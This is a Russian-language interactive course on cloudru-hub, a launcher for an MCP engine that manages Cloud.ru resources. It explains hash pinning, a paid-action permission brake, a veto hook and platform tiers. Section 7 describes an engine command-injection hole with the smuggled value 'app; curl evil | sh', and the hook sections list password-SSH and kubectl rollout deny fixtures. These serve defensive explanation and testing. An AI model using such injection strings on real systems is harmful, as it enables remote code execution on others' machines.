Бесплатный интерактивный курс · aicoding.space

cloudru-hub: весь Cloud.ru под рукой у твоего AI-агента

Практический курс по @dzhechkov/cloudru-hub — тонкому лаунчеру MCP-движка cloudru-vm (144 инструмента для Cloud.ru Evolution). Вместе с Леной ты разберёшься, что лежит в пакете, а чего в нём нет по замыслу; научишь лаунчер находить движок и сверять его хеш; прогонишь self-test до строки ALL GREEN; поймёшь, как тормоз платных шагов делит 144 инструмента на allow/ask/deny; поставишь связку в Claude Code с исполненной пробой вето; узнаешь, почему одни платформы получают полную установку, а другие — только указатель; скомпилируешь диалект навыка и проверишь, что гейты честности пакета действительно ловят поломки.

Содержание курса

1. Что такое cloudru-hub и зачем он нужен

Тонкий лаунчер MCP-движка cloudru-vm: что он делает сам, а что отдаёт движку.

Ключевая мысль: лаунчер, который находит движок

Лена только что получила доступ к Cloud.ru Evolution и хочет одного: сказать Claude Code «подними стенд» — и чтобы стенд поднялся. Её первый вопрос был таким же, как у тебя: «а что вообще такое cloudru-hub, если сам движок — это отдельная Go-программа?»

Ответ короткий: cloudru-hub — это лаунчер, который находит движок и запускает его. Лаунчер — тонкая обёртка на JavaScript без единой зависимости: она ищет бинарник движка cloudru-vm на твоей машине, сверяет его хеш и запускает как MCP-сервер. Сам движок — Go-программа со 144 инструментами (число измерено живым запросом tools/list, снимок лежит в data/tools-list-snapshot.json): виртуалки, Kubernetes, PostgreSQL, Kafka, Redis, DNS, S3, сертификаты, биллинг и мастер деплоя docker-compose.

Что лаунчер добавляет от себя, кроме запуска:

  • тормоз платных шагов — правила разрешений и вето-хук, чтобы агент спрашивал перед каждым действием, которое стоит денег;
  • установщики под конкретную платформу — Claude Code получает полную связку, остальные ровно столько, сколько можно доставить честно;
  • компилятор диалектов навыка — из одного канонического текста собирает варианты под разные платформы.

Важная оговорка, которую пакет повторяет на каждом шагу: он неофициальный и никак не связан с Cloud.ru — просто разговаривает с публичным API через движок.

Пакет живёт на npm: страница @dzhechkov/cloudru-hub на npmjs.com, исходники — в публичном зеркале на GitHub.

Компромисс: движок не лежит внутри пакета, и это создаёт лишний шаг — его нужно откуда-то взять и показать лаунчеру. Взамен ты получаешь лаунчер, который никогда не запустит неизвестный бинарник молча: он всегда скажет, где нашёл движок и совпал ли хеш.

🧾 Квитанция. Первое, что Лена набрала: cloudru-hub help. Одна страница текста, exit 0 — лаунчер жив и рассказывает про семь команд. Что означает каждая — разберём по ходу курса.

2. Что лежит в пакете — и чего в нём нет по замыслу

Пять частей нашего кода и ноль байтов чужого движка: как пакет разложен и почему.

Ключевая мысль: ноль байтов движка в пакете

Лена сделала то, что делает любой инженер с новым пакетом: npm pack --dry-run, чтобы посмотреть, что реально уедет в архив. И удивилась: ни одного бинарника, ни одного файла на Go. «Где движок?»

Это не забывчивость, а правило пакета: ноль байтов движка в пакете (решение ADR-002). Дело в авторстве. Основа — оригинальный Go CLI и всё, что лежит в этом пакете (лаунчер, адаптеры, установщик, тесты), — работа Дмитрия Жечкова под MIT. А дополнения движка — слой из ~144 MCP-инструментов — написал Тимур, автор движка Hermes. Он одобрил публикацию (запись о согласии — в LICENSE, часть 2, строка Grant-Confirmation:), но лицензии на сами дополнения не назначал. Поэтому пакет не даёт третьим лицам никаких прав на них — и физически не содержит их.

Что в пакете лежит (всё — наш код):

  1. Лаунчер bin/cloudru-hub.js — находит движок во время запуска и сверяет sha256 с пином в package.json.
  2. Тормоз платных шагов src/install.js + templates/.claude/hooks/ — правила ask/deny/allow и вето-хук.
  3. Ярусы целевых платформ — тот же src/install.js решает, кому полная установка, кому только указатель.
  4. Компилятор диалектов src/dialects.js + data/dialects.json — генерирует варианты навыка под платформы.
  5. Золотая классификация data/tools-classification.json — каждый инструмент движка → allow/ask/deny.

Чего в пакете НЕТ по замыслу: бинарника движка, исходников на Go и канонического корпуса навыка. Их лаунчер берёт снаружи — из дистрибутива движка, который ты укажешь сам.

Компромисс: такая раскладка честна по авторству и проверяется тестом (тест перебирает список файлов из npm pack --dry-run и отклоняет ELF-магию, .go-файлы и пути движка). Но она же означает, что «просто npm i и работает» не будет — движок придётся добыть отдельно.

🧾 Квитанция. У Лены npm pack --dry-run показал bin/, src/, templates/, data/, docs/, test/ и документы лицензии — и ни одного файла, которого она не смогла бы прочитать глазами.

3. Где движок: три пути поиска и один громкий отказ

CLOUDRU_VM_BIN → config.json → платформенный пакет → понятная ошибка: как лаунчер ищет бинарник.

Ключевая мысль: порядок поиска движка

Раз движка в пакете нет, лаунчер должен его найти. Лена запустила cloudru-hub resolve на чистой машине и получила не пустой экран, а подробный отказ с тремя пунктами: где искали и почему не нашли. Прежде чем читать дальше, реши за неё: какой из трёх путей ты бы выбрал для своего ноутбука, а какой — для сервера команды?

Порядок поиска движка зашит в src/resolve.js и всегда один и тот же — первое попадание побеждает:

  1. Переменная окружения $CLOUDRU_VM_BIN — явный путь. Самый простой способ, именно им пользуется локальная проверка.
  2. Поле enginePath в файле ~/.cloudru-hub/config.json (путь к файлу можно переопределить через $CLOUDRU_HUB_CONFIG) — постоянная настройка.
  3. Платформенный пакет @dzhechkov/cloudru-vm-linux-x64 с бинарником внутри — если он установлен рядом. Внимание: этого пакета на npm пока НЕТ: его первая публикация ждёт доверенной CI-сборки.
  4. Ничего не нашли → громкий отказ: лаунчер печатает все три пути, что по каждому было (не задано / задано, но это не файл) и куда идти за движком (docs/LOCAL-TESTING.md).

Кандидат, который есть в списке, но не является обычным файлом, просто пропускается — поиск идёт дальше по цепочке.

Компромисс: порядок фиксирован, и это удобно (всегда знаешь, что перебьёт что: переменная окружения сильнее конфига), но он же не даёт тебе «подсунуть» путь четвёртым способом. Если движок лежит в нестандартном месте — либо переменная, либо конфиг.

🧾 Квитанция. Лена экспортировала CLOUDRU_VM_BIN=/path/to/engine-build/cloudru-vm и повторила cloudru-hub resolve: строка source env — движок найден через первый путь, а следом sha256 и вердикт по пину. Про пин — следующая секция.

4. Сверка sha256 с пином: когда терпеть, а когда отказывать

Один и тот же несовпавший хеш для разных источников значит разное — и это осознанное решение.

Ключевая мысль: сверка sha256 с пином

Вот вопрос, на который нет очевидного ответа, — подумай над ним ДО того, как читать дальше. Лена собрала движок сама, из исходников, и указала на него переменной окружения. Хеш не совпал с закреплённым. Должен ли лаунчер отказаться его запускать?

Сначала термины. Пин — закреплённый в package.json (поле cloudruHub.binaryHashes) хеш sha256 эталонного бинарника: 59f83fc0…c05124 для linux-x64, движок cloudru-vm 0.2.3-20260718. Сверка sha256 с пином — лаунчер хеширует найденный файл и сравнивает с пином. Дальше начинается интересное: реакция на несовпадение зависит от того, ОТКУДА пришёл движок.

  • Платформенный пакет (источник platform-package): несовпадение — жёсткий отказ. Это артефакт из реестра, он обязан быть байт-в-байт равен пину — иначе кто-то подменил его по дороге (правило цепочки поставок ADR-002).
  • Переменная окружения или конфиг (источники env / config): несовпадение терпится, но честно сообщается: verified NO — not the pinned baseline. Владелец сам указал на этот файл — значит, это его сборка для разработки, и он имеет право её запустить.

Так что ответ на вопрос про сборку Лены: лаунчер запустит её, но не станет делать вид, что это эталон. cloudru-hub resolve --json вернёт verified: false, и это правда, а не ошибка.

Компромисс: мягкость к своим путям — удобство для разработчика и одновременно дыра, если ты по привычке экспортируешь CLOUDRU_VM_BIN на чужой файл. Лаунчер защищает от подмены в реестре, а не от тебя самого. Читай строку verified глазами.

🧾 Квитанция. Лена на эталонном бинарнике: verified yes — matches the pinned baseline. На своей сборке: verified NO — not the pinned baseline (tolerated for env/config paths). Обе строки — из вывода cloudru-hub resolve.

5. self-test: пять шагов до ALL GREEN

Одна команда проверяет всю цепочку: движок найден, хеш сверен, версия отвечает, 144 инструмента живы, классификация полная.

Ключевая мысль: self-test: пять шагов до ALL GREEN

Хватит читать — Лена уже открыла терминал в папке пакета, открывай и ты. Никаких учётных данных Cloud.ru для этого шага не нужно: запрос tools/list движок отвечает без ключей.

Команда одна: node bin/cloudru-hub.js self-test (или просто cloudru-hub self-test, если сделал npm link). Она проходит пять шагов до ALL GREEN, и каждый печатает свою строку:

  1. resolve — где найден движок и через какой путь (source: env).
  2. sha256 — хеш файла и совпал ли он с пином (MATCHES pinned baseline).
  3. engine-version — движок запущен с аргументом version и ответил: cloudru-vm 0.2.3-20260718.
  4. tools-list — живой JSON-RPC-запрос tools/list: 144 tools live (snapshot: 144).
  5. classification-coverage — каждый живой инструмент есть в золотой классификации (144 golden entries).

Если все пять зелёные — последняя строка self-test: ALL GREEN и exit 0. Любой красный шаг — self-test: FAILED, exit 1, и цепочка останавливается там, где сломалась: без движка не будет версии, без версии — списка инструментов.

Флаг --json отдаёт тот же результат структурой { steps: [...], ok: true } — удобно для скриптов и CI.

Компромисс: self-test доказывает, что связка живая и движок тот самый, но НЕ трогает облако — ни одной виртуалки он не создаст и ни рубля не потратит. Это его сила (безопасно гонять сколько угодно) и его граница: что реальные вызовы инструментов работают с твоими ключами, он не проверяет.

🧾 Квитанция. Пять строк с галочками и self-test: ALL GREEN — ровно такой вывод зафиксирован в docs/LOCAL-TESTING.md как измеренный на эталонном бинарнике. Лена сверила свой экран с ним построчно.

7. Схема — не доказательство: поведенческий аудит

Два инструмента выглядели безобидно по описанию — и оба оказались опасны. Почему allow даётся только по коду.

Ключевая мысль: поведенческий аудит обработчика

Сюрприз этой секции неприятный: инструмент, который по описанию только читает, может тратить деньги. Помнишь вопрос из прошлой секции? Вот ответ Лены — и он был неверным.

Первый пример — stack_status. По схеме — «статус стека», читалка. Первая версия классификации так его и отнесла: у него нет свойства confirmed, значит, безопасен. Потом кто-то прочитал обработчик в движке (tools_stack.go:479): stack_status продвигает запланированное задание на следующий шаг на стороне сервера и сам вызывает платные инструменты создания. Воспроизведено вживую: один вызов перевёл задание из planned в running и попытался выполнить provision. Цепочка stack_plan → stack_status без единого вопроса пользователю — вот что открыл бы allow. Теперь stack_status — ask.

Второй пример — logs. «Показать логи», что может быть безобиднее? Обработчик берёт аргумент service и без экранирования приклеивает его к команде docker compose logs <service>, которая выполняется на твоей виртуалке по SSH (engine/logs.go:61). Значит, service = "app; curl evil | sh" — выполнение произвольного кода на твоей машине. Классификатор не может исправить движок (автору движка сообщено), но может поставить logs за ask — и поставил.

Отсюда правило пакета: allow даётся только по поведенческому аудиту обработчика. Поведенческий аудит — это когда кто-то прочитал код обработчика инструмента в движке на закреплённой версии и записал в классификацию, что именно он делает, с ссылкой файл:строка. Схема инструмента — его описание и список аргументов — для allow недостаточна никогда. Посмотри на запись status в data/tools-classification.json: «читает локальный файл состояния, без обращения к облаку, без записи, без вызова других инструментов, tools.go:1720». Вот как выглядит основание для allow.

Компромисс: аудит по коду дорог — 77 обработчиков прочитаны глазами, и при каждом обновлении движка это придётся повторить для изменившихся. Зато оба этих «безобидных» инструмента — измеренные случаи, а не гипотезы; эвристика по схеме уже ошиблась один раз, и пакет не даёт ей второго шанса.

Лена после этой секции перестала верить описаниям: «читает» — это слово, а не свойство.

8. Установка в Claude Code с исполненной пробой вето

Три файла, слияние без затирания — и установщик, который отказывается говорить «готово», пока не увидел вето своими глазами.

Ключевая мысль: исполненная проба вето

Пора ставить связку в настоящий проект. Лена в папке своего проекта запускает: cloudru-hub install --target claude-code --dir /path/to/project (без --dir берётся текущая папка). Установщик делает три вещи и одну проверку.

Три файла — всегда слиянием, никогда затиранием твоих настроек:

  1. .mcp.json в корне проекта — сервер cloudru-vm, команда node <путь к лаунчеру> mcp. С флагом --npx вместо пути подставится npx -y @dzhechkov/cloudru-hub mcp. Именно .mcp.json в корне: .claude/mcp.json Claude Code не читает — измеренный провал.
  2. .claude/settings.json — тормоз платных шагов как данные: allow / ask / deny в обоих написаниях префикса, объединение множествами (твои правила остаются, наши deny не могут выпасть) и хуки PreToolUse на Bash и на mcp__cloudru[-_]vm__k8s_kubectl.
  3. .claude/hooks/cloudru-ssh-guard.cjs — сам вето-хук, скопированный из шаблона с правом на выполнение.

А теперь то, ради чего секция. Файлы лежат — но наличие файла хука — не доказательство, что хук работает. Поэтому установщик проводит исполненную пробу вето: прогоняет через только что записанный хук четыре контрольных случая и сверяет коды выхода:

  • sshpass -p hunter2 ssh user1@1.2.3.4 → ждёт exit 2 (запрещено);
  • ssh -i /tmp/key user1@1.2.3.4 uptime → ждёт exit 0 (разрешено, ключ есть);
  • k8s_kubectl rollout restart deployment/app → ждёт exit 2;
  • k8s_kubectl rollout status deployment/app → ждёт exit 0.

Любое несовпадение — установщик печатает NOT installed и возвращает код 1. Хук, который не блокирует, неотличим от отсутствующего, и «готово» он не скажет.

Компромисс: установщик проверяет всё, что может проверить с диска, но одну вещь машина отсюда увидеть не может: спросит ли Claude Code разрешение на самом деле. Поэтому в конце он печатает ручную пробу: открыть свежую сессию, позвать mcp__cloudru-vm__deploy и убедиться, что появился запрос разрешения, — и записать, какое написание префикса среда использовала.

🧾 Квитанция. У Лены четыре строки probe … ✓ и cloudru-hub install: ✓ veto EXECUTED and observed on the forbidden fixtures. — exit 0. Без этой строки установки не было, что бы ни лежало на диске.

9. Ярусы целевых платформ: кому полная связка, кому указатель

Claude Code, codex, agents-md, cursor: четыре яруса доставки и честный отказ там, где тормоз поставить нельзя.

Ключевая мысль: ярус целевой платформы

Коллега Лены работает в Cursor и попросил: «поставь мне то же самое». Лена запустила cloudru-hub install --target cursor — и получила отказ с кодом 2. Не ошибку, а осознанное «нет» с причиной. Прежде чем читать почему, реши за неё: честнее выдать Cursor «почти такую же» установку без работающего вето — или отказать?

Пакет отвечает вторым. Ярус целевой платформы (решение ADR-005) — это уровень доставки, который платформа заслужила живой проверкой, а не обещанием документации. Ярусов четыре:

  1. full — claude-code. Полная установка из прошлой секции: .mcp.json, тормоз, хук и исполненная проба. Код 0.
  2. plan-only — codex. План печатается, но НЕ применяется: код 3. Причина измерена: проектный hooks.json в codex — молчаливый no-op, хуки работают только из пользовательского ~/.codex/hooks.json, а неисполненное вето неотличимо от отсутствующего. План — три шага: codex mcp add cloudru-vm -- cloudru-hub mcp, слияние хука в пользовательский файл и обязательная ручная проба sshpass в сессии codex.
  3. pointer — agents-md, gemini. Только указатель: файл CLOUDRU-POINTER.md не длиннее 2048 символов, без инструментов и без исполняемых инструкций, зато с обязательным предупреждением «здесь НЕТ детерминированного вето платных операций». Код 0, но честно: это не установка, это табличка.
  4. degraded (отказ) — openclaude, opencode, cursor, windsurf, copilot. Код 2 и причина по имени. У Cursor вето-хуки только описаны в документации, у Windsurf бюджет инструментов 100 < 144, у Copilot агент «не будет спрашивать вашего одобрения» по построению. Пока живая проба не доказала обратное — отказ.

Неизвестное имя платформы — код 1 и список известных.

Компромисс: ярусы сужают аудиторию: полную связку сегодня получает только Claude Code. Зато ни одна платформа не получает «поддержку» на бумаге, которая ночью пропустит deploy без вопроса. Ярус можно поднять — но живой пробой, а не правкой таблицы.

Лена отправила коллеге указатель для AGENTS.md и честное «в Cursor тормоза нет — не запускай оттуда мутирующие инструменты».

10. Вето-хук изнутри: exit 0 или exit 2

Тридцать строк, которые стоят между агентом и парольным SSH: как хук читает вызов и чем отвечает.

Ключевая мысль: exit 2 означает вето

Посмотри сначала на схему ниже, потом на текст: хук — это конвейер из четырёх шагов, и весь его смысл в последнем. Лена открыла templates/.claude/hooks/cloudru-ssh-guard.cjs и удивилась, какой он короткий.

Контракт хука PreToolUse в Claude Code простой: перед вызовом инструмента среда запускает хук, подаёт ему на stdin JSON { tool_name, tool_input } и смотрит на код выхода. exit 0 означает «разрешаю», exit 2 означает вето — вызов не состоится, а текст со stderr увидит модель и поймёт, почему.

Что хук запрещает — три правила из функции decide():

  • Bash + sshpass + адрес ВМ (@1.2.3.4) → вето: «парольный SSH к Cloud.ru ВМ запрещён — ключ на ВМ есть, движок кладёт его сам; возьми ssh-команду из ответа deploy_apply дословно».
  • Bash + ssh user1@<ip> без -i → вето: SSH без деплой-ключа.
  • mcp__cloudru-vm__k8s_kubectl (в любом написании префикса) + rollout <глагол>, где глагол не status и не history → вето: rollout restart, undo и прочие изменяют прод без подтверждения — это измеренная дыра классификатора движка, и хук закрывает её на нашей стороне независимо от движка.

Всё остальное → exit 0. И одна тонкость, которую стоит знать: если на stdin пришёл не-JSON, хук выходит с 0, а не с 2. Сломанный хук не должен заблокировать каждый вызов Bash в сессии — но разобранный вызов с платным шагом всегда получает детерминированный ответ.

Компромисс: правила — регулярные выражения, перенесённые из исходного хука движка как есть; они точны на измеренных случаях и не претендуют на полноту. Хук — второй ремень поверх правил ask/deny, а не замена им: правило разрешений останавливает инструмент по имени, хук — по содержимому аргументов.

🧾 Квитанция. Лена проверила руками: echo '{"tool_name":"Bash","tool_input":{"command":"sshpass -p x ssh user1@1.2.3.4"}}' | node .claude/hooks/cloudru-ssh-guard.cjs; echo $? → на stderr строка с ⛔, код выхода 2.

11. Компилятор диалектов: один канон, много целей

Из канонического навыка движка — варианты под платформы, с жёстким отказом, если в выходе выжил чужой диалект.

Ключевая мысль: компилятор диалектов

Эта секция — про твои решения, а не про готовые ответы. У Лены есть дистрибутив движка с папкой skill/cloudru-hub/ — канонический навык, написанный на диалекте движка Hermes: свои имена инструментов (tool_search, tool_call), свои пути, свои словечки. В Claude Code это всё — мусор, который агент примет за инструкции. Что делать?

Компилятор диалектов (решение ADR-006) — это генератор: один канонический источник, а варианты под платформы порождаются из data/dialects.json, ручные форки запрещены. Команда: cloudru-hub compile-skill --canonical <движок>/skill/cloudru-hub --target claude-code --out ./skill-out. Канонический корпус в пакете НЕ лежит (ноль байтов движка, помнишь?) — ты сам указываешь на него --canonical.

Что компилятор гарантирует кодом, а не ревьюером — четыре инварианта:

  1. Диалект вычищен. Замены применяются по порядку ко всем .md (23 для claude-code, 22 для codex), после чего компилятор ТРЕБУЕТ, чтобы не выжил ни один из 8 запрещённых токенов Hermes (tool_search, tool_call, /opt/data, SOUL, «капитан»…). Выжил — жёсткий отказ, вариант не пишется.
  2. Кодовое имя движка не просочилось — ни в каком регистре, ни в одном выходном файле: hermes, dzhechko, cloudru-vm-cli, captainkeys по границам слов. Это позитивный инвариант поверх списка замен: измерено, что один список замен пропустил голое кодовое имя 5 раз.
  3. Битые ссылки расцеплены. Относительная ссылка на .md, которого нет в выходе, превращается в текст без ссылки и считается — инструкция не указывает в пустоту.
  4. Размер и детерминизм. Роутер навыка не длиннее 12 000 символов на платформах с потерями; компиляция — чистая функция от (байты канона, конфиг): два прогона дают байт-в-байт одинаковый результат.

Отдельная хитрость: голое cloudru-vm кодовым именем НЕ считается — это же законное имя MCP-сервера, которое обязано быть в выходе. Вместо этого вычищаются две однозначные формы утечки: путь .cloudru-vm.cloudru-hub и вызов cloudru-vm deploycloudru-hub deploy для реального набора глаголов движка.

Компромисс: компилятор строг — падает целиком на одном выжившем токене, и это раздражает при первом прогоне. Но альтернатива — навык, который в Claude Code уверенно советует несуществующий tool_search. Отказ громкий и до отгрузки; ложь — тихая и после.

Лена на первом прогоне получила именно такой отказ — выжил один путь /opt/data — и поправила таблицу замен, а не проверку. Теперь реши за неё сам — три развилки в упражнении.

12. Гейты честности: мутационный гейт и застава лицензии

13 свойств безопасности, каждое доказано красным тестом; лицензионная застава остаётся взведённой после разрешения на публикацию.

Ключевая мысль: мутационный гейт

Последняя секция — про то, откуда ты знаешь, что всё сказанное выше правда, а не обещание в README. Остановись и подумай: чему из этого курса ты поверил на слово? Лена честно ответила: «свойствам безопасности». Вот как пакет не даёт себе врать.

Мутационный гейт — это проверка, которая нарочно ломает защиту и требует, чтобы тесты стали красными. Гейт (здесь и дальше) — застава: проверка, через которую изменение обязано пройти, чтобы уехать дальше. Логика простая: если ты удалил защиту, а тесты остались зелёными, они не проверяли эту защиту никогда. Каждое из 13 именованных свойств пакета имеет запись в test/mutation-registry.json; запуск dz mutation-gate --package packages/cloudru-hub удаляет защиту и ждёт красного. Результат 2026-08-12: 13/13 PROVEN. Среди свойств — всё, что ты прошёл: ноль байтов движка, вето на sshpass и rollout, stack_status и logs за ask, взведённый запрет кодовых имён, две чистки форм утечки.

Вторая застава — лицензионная. Разрешение автора движка на публикацию получено 12 августа 2026 и записано в LICENSE (часть 2, Grant-Confirmation:). Казалось бы, поле licenseHold в package.json можно снять. Его оставили нарочно: правило licence-hold в dz guard пропускает удовлетворённую заставу с оставленным триггером — и продолжает при каждой публикации проверять LICENSE (нет заглушки PENDING, есть ссылка на подтверждение), THIRD_PARTY_NOTICES и поле SPDX. Тесты пакета отдельно закрепляют честную формулировку: согласие засвидетельствовано владельцем, никакой выдуманной лицензии от имени автора. Убери поле — test/pack-holds.test.mjs покраснеет.

Чек-лист публикации после разрешения — четыре пункта, три закрыты, один открыт честно:

  1. ✅ запись о согласии в LICENSE, license: MIT только на наш код, private снят, триггер оставлен;
  2. dz guard check --op publish проходит;
  3. ⏳ платформенный пакет с бинарником не опубликован — ждёт доверенной CI-сборки с -trimpath и сверки лицензий Go-зависимостей;
  4. ✅ пакет опубликован штатным релизным путём.

Суммарно: 70 тестов, 70 проходят (npm test, node:test, без зависимостей — измерено 2026-08-12).

Компромисс: мутационный гейт и застава лицензии — лишняя работа на каждый релиз. Взамен слово «доказано» в README означает наблюдённый красный тест, а не мнение. Спроси себя напоследок: в твоём собственном проекте какое из «гарантированных» свойств умрёт молча, если удалить его защиту? Лена назвала три.

Частые вопросы

Я поставил пакет через npm, а cloudru-hub resolve говорит, что движка нет. Это поломка?

Нет, это замысел: в пакете ноль байтов движка (ADR-002). Укажи бинарник переменной CLOUDRU_VM_BIN или полем enginePath в ~/.cloudru-hub/config.json. Платформенный пакет @dzhechkov/cloudru-vm-linux-x64 с бинарником пока не опубликован — ждёт доверенной CI-сборки.

Нужны ли ключи Cloud.ru, чтобы прогнать self-test?

Нет. Все пять шагов, включая живой tools/list, работают без учётных данных. Ключи (CLOUDRU_KEY_ID, CLOUDRU_SECRET, CLOUDRU_PROJECT_ID) понадобятся только для реальных вызовов инструментов.

Почему в .claude/settings.json каждое правило записано дважды — mcp__cloudru-vm__ и mcp__cloudru_vm__?

Какое написание префикса использует среда выполнения, ещё не подтверждено живой пробой. Лишнее правило безвредно, пропущенное — опасно, поэтому пишутся оба. Установщик просит записать наблюдённое написание после ручной пробы.

Установщик отказал моей платформе (cursor, windsurf, copilot…). Как получить связку?

Отказ — ярус degraded (ADR-005): вето на этой платформе не доказано живой пробой, а мутирующий путь без тормоза не доставляется никуда. Ярус поднимается живой пробой, не правкой таблицы. Пока — работай из Claude Code или используй pointer-таргет для указателя без инструментов.

Можно перевести logs или stack_status в allow, чтобы агент меньше спрашивал?

Технически — правкой data/tools-classification.json, но это ослабление: logs — измеренная инъекция команды по SSH, stack_status продвигает платные задания на сервере. Оба свойства защищены мутационным гейтом: откат к allow красит тесты.

Где взять канонический навык для compile-skill?

В дистрибутиве движка, папка skill/cloudru-hub рядом с бинарником. Пакет его не содержит по правилу «ноль байтов движка»; укажи путь флагом --canonical.

Пакет официальный? Кто отвечает за движок?

Пакет неофициальный и никак не связан с Cloud.ru. Лаунчер, установщик, компилятор и тесты — Дмитрий Жечков (MIT). Дополнения движка (слой из 144 MCP-инструментов) — Тимур, автор движка Hermes; он одобрил публикацию, но лицензии на сами дополнения не назначал, и пакет их не содержит.